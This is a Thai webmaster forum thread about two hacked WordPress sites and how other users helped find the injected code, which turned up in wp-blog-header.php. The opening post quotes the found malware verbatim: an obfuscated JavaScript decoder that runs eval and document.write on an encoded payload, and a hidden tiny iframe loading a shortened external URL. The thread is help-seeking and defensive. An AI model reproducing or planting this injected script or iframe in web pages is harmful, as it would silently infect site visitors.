Help Me! WP ผมเจอแฮก มันแฝงโค้ดเข้ามา 2เว็บเลย

[หมวดเจ๋ง]

เว็บแรกเจอแบบนี้

โค้ด เลือก ขยาย

</body>
</html>

<script type="text/javascript"><!--
function kdbq(w2kc){var
figf="x5l{znp7 j})40?]uC9d"N(-V3rc1 r|=tw:8[>A2hMi,KovS6m./gBanL!&OqkbDUT;E*e_sPIyWf<",kgb1,ltbw,fh08="",dmml,q7mj=figf.length;eval(unescape("function ovqy(if9t){fh08 =if9t}"));for(kgb1=0;kgb1<w2kc.length;kgb1  ){ltbw=w2kc.charAt(kgb1);dmml=figf.indexOf(ltbw);if(dmml>-1){dmml-=(kgb1 1)%q7mj;if(dmml<0){dmml =q7mj;}ovqy(figf.charAt(dmml));}else{ovqy(ltbw);}}eval(unescape("document.write(fh08);fh08="";"));}kdbq("xK5wOnfu?Uq{KL0osE}1?/mnK;Oq:Uznj8E/;2); 0u"L"N{*!pus Cj!TN.38399]5Wk9(AyWAl.|aC:64{8k!xPLM=nKSrn9sD"gxyCU81-!kW2E,ewK|PkW:Kx"L39cK5ndk)<9&2p7)M6.E[-)AN)o;{=.nzn_Alr8hsI4OPII8Do8_01LWx9q9=({VAE)tt!1=S)6f |SCr|_"l_cSb0=:gCg;L>&IVoEE?b&ncqtOU;ngT;1n>1bn"6E_}g}V?Iu|O{33m">w_d*Lp;L0w6<96VKhlKh9g<4(Dx1C:T=?i(t[W,x3Mr,ro{w:V{6j<,r(]=OM=;jVgsV*.5&eIwk. C5.*s(huo3b=<Wi.3/M{7W_qS.78;gpnBC9:"M4znkpVg=cMVP] uCp3]>KnO"V.qC>i*nxq[rq&rwy|n*=nTmuitPf;T;&[O<17lC<S*ke3Op=dMVS6>3SroEr,nP|Sj&!q2.a](&o*.;}.Ur]/*r5x{qsW8B,(UceB*K62do>[:!vTnx79(qUj:r/nI; D}&[qWrK!4r|Kntwi:8WB<" "?iky vSk(m.K=nT(iS>uA1v[O;<{MoKUl<U:n6fA{TlLyKc)d(7(?]jyxN|T 0{1c34;Uji<VP}/)>A_CAPVCwk,w*)raIergPtkN|Uz32/*s{>&rg:vA>n0SP76Pz;Ofr ftB*d>wP2[ UD?M|{|rn.P_]Wj5x9B}:d]/x (BDcMe&fBz:bvkV-{cM_=kr}w6<9} :d2[w.W;K0-U5 98=_>:pbk42 5 zV2[*0lN)wh/nu"o7]/A (m4aABrw3z|-(MW=LdN>7.,q}_qC>g{(9LoKLvn4/?[0CCd&;3L}>"}KTl|mopNt&!<2bAiiKp?.zcu:3SaTerwB1:Ogi8E<hnnP4wydfqAxELeA{, _7kT0)fg.Ib{su-w>fluCj]5en=.[OA-5bUhwVCMu-Sh|j]?L4*fdyoDBganSB2ru_)W"<k2-35PbPdn*Eo*S3Opv6T:"Ng<Nap<u,ru.s [n/4!arz{&qpo6Kdr.}t]cd9|m.i6:3)Tp_]PL:9"yE!8&S;L5 d-kThT7,pat"<_tE?bh1v{1*v_78EyzkV)i(]zqS;-S};4cnjuV{,|bgiN,r>r M|jy]c8MD]EhzfOMoV)r}.]<" "?*}M*nO-*Sy;TD jvn=)Wyl72[f!;i(]-vo.Oj*<BtW/v{ki"5}U,_v]&Pvw<gpf<3oPbhjD=Wusy?;BdPr9dKT?s53Vhvx)E84&Vi:-h]loNgKos?h"1/.EIt>ubA7.eImEM PS5sP"hEvax<u&?Ui)Tw<97fu*nNy1"NvEuI{cri7m0e>?qrKN3iCzS-avSIui(rBgewo29Uhjgs[/e,|ym{Iy(ie6Ll59)E;K0E85"tx9_!-fr(-6e9Wn 1K>1]s2ub1v9cKdpm3L6mW9KV=nasU|M";i)aIIBsotf/nWfVKs,i6B7nDj 3E I/"yi cj73<Urn[ rnf3Wyl7AjCh2LNccn/1y2&.[2!=db>ekb}|!r :2pezsnwlL3*j5l* qS0;"40AO x=Cru{O_)5V|Mop}7"E| <ni(]zqSSAjTg=8?_!q6m"f([TK6cn ,PWv&ovL:4vsM"7U!Vtj;M|,vCnwN2/q;}2?TDhW(&b/UEUT<nikAB*Ktb[}|Vzspj!yq&P8pn=U{ a5u_&}b8E>u{(<" "? ns-W6e=] 6e_L9pKbk]no->g CvNPi>1"dW"j!i8k_vrU>.Va[0sK!| Uhjg7>1i0P{r}kySWfOg]myWoV)r/(3OCrnk"N40rl6?tiu luAudD<fzjNi,pn)u1 <xi,?_!fBq&=W- Urze}}|I9j:hLx5_spq P0-yjqydy<,UP9C5-Vs53V j!&-sm[nqjhB57,K8[mrP>L;2gr2b2ij5n.7K;E b!?/g-V;1Crt{z7krI?VW}kW"4xC9(fK} A43f4:c]twu]ujE?w_t{Ovrz5S}yz}tw:");kdbq(")K5rV/wV&5uKD*w:pU}3BxTC!C=d&hw.xq.71is4Cqkt0[/lc?,p,&o7x<M.Llrde7=spBC[c34;jTdv dBy)2&D r5On"6Iq4g4c?Bvo}d38q-rca5hB-UpyPO8L:!2/,iq9g<W37W=gE9[MN(K9tqhU5rjldv dBy)2&Di,;2azb -/MhE17u(oIb:.W[mdqSr6T9UT{,d2yx?Lp4kBcS4:E-uCejL6nt>V8,m6;|Ko{U!w0tg0M5uKKdqV*n9(Dcp=aC O(bcwVcWc1_vP[SwWUx>S{-<KoIb9 6L0g;cT[?Oqfir_T1_<E7tW P83Af Mk>npwg]yhM1Dc 2!eOd b7kV}>&"xs)iU&[8Weh2/Mx7}|s)3*E.U7:=e)nkq(uTUf;3=:pS Is *6MO0: 7po2)}(46n&rs=dCoV-bL1cA TPWv}68na_sjm3o .!SC!g]!UaP"bIO-4rDI 63_sN}gIV6k2]2BCo/?I2hcz;hdc,*"w|pc;>52cvokbxhu[<M6A !");
--></script><!--[if gte IE 5]><frame></frame><![endif]-->

เว็บ2เจอ

โค้ด เลือก ขยาย

</body>
</html>

<iframe name="iframe" src="http://alturl.com/nkrc4" width="5" height="10" scrolling="auto" frameborder="0"></iframe>



แก้ยังไงดีครับ หาโค้ดมันไม่เจอเลย
ผมหาใน index.php กับ footer.php ก็ไม่พบเลย

[deksamrong]

ดูใน ฟั่งชั่น.php หรือยังครับ

[หมวดเจ๋ง]

ดูใน ฟั่งชั่น.php หรือยังครับ

ธีม/ฟังชั่น ก็ไม่เจออะไร ปกติดีอะคับ

[deeday]

อาการนี้ลองค้นหาวิธีแก้จากคำว่าไวรัสไอเฟรมดูนะครับ

[addy1220]

htacces. อะป่าวลองดู

[TUMZA]

อาจจะมาจากซีรี่เดียวกับผม

http://www.thaiseoboard.com/index.php/topic,262646.0.html

[หมวดเจ๋ง]

htacces. อะป่าวลองดู

เจอนี้อ่ะ

โค้ด เลือก ขยาย


# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress


[KAI]

ให้เรียงลำดับไฟล์ โดยใช้วันที่ ครับ

อันที่โดนแก้จากไว รัส จะถูก อัพเดต ล่าสุด

ไล่ดูไปให้ครบ

ผมพึ่งแก้ให้เพื่อนมา มันเข้าไป ใน ตีม twenty ในไฟล์ header กับ index

[หมวดเจ๋ง]

ให้เรียงลำดับไฟล์ โดยใช้วันที่ ครับ

อันที่โดนแก้จากไว รัส จะถูก อัพเดต ล่าสุด

ไล่ดูไปให้ครบ

ผมพึ่งแก้ให้เพื่อนมา มันเข้าไป ใน ตีม twenty ในไฟล์ header กับ index

ขอบคุณมากครับ ที่บอกให้ดูจากวันที่ ผมเจอมันล่ะ

มันแอบในนี้ครับ wp-blog-header.php ทั้ง2เว็บเลย

ขอบคุณทุกท่านมากๆที่ให้การช่วยเหลือ +1 ทุกท่าน

[BBK101]

ผมเจอแบบนี้ครับ program anti virus แจ้งว่า
   
Warning

In order not to compromise your security, this page will not be accessed
A virus or unwanted program was found in the HTTP data of the requested page.



Requested URL:       http://32lm6200.com/wp-login.php
Information:       Contains recognition pattern of the JS/iFrame.JY.2 Java script virus

แล้วผมจะแก้ได้ยังไง  ผม loging เข้าเวปไม่ได้อ่ะครับ

[Xara]

Footer ครับ ลองดู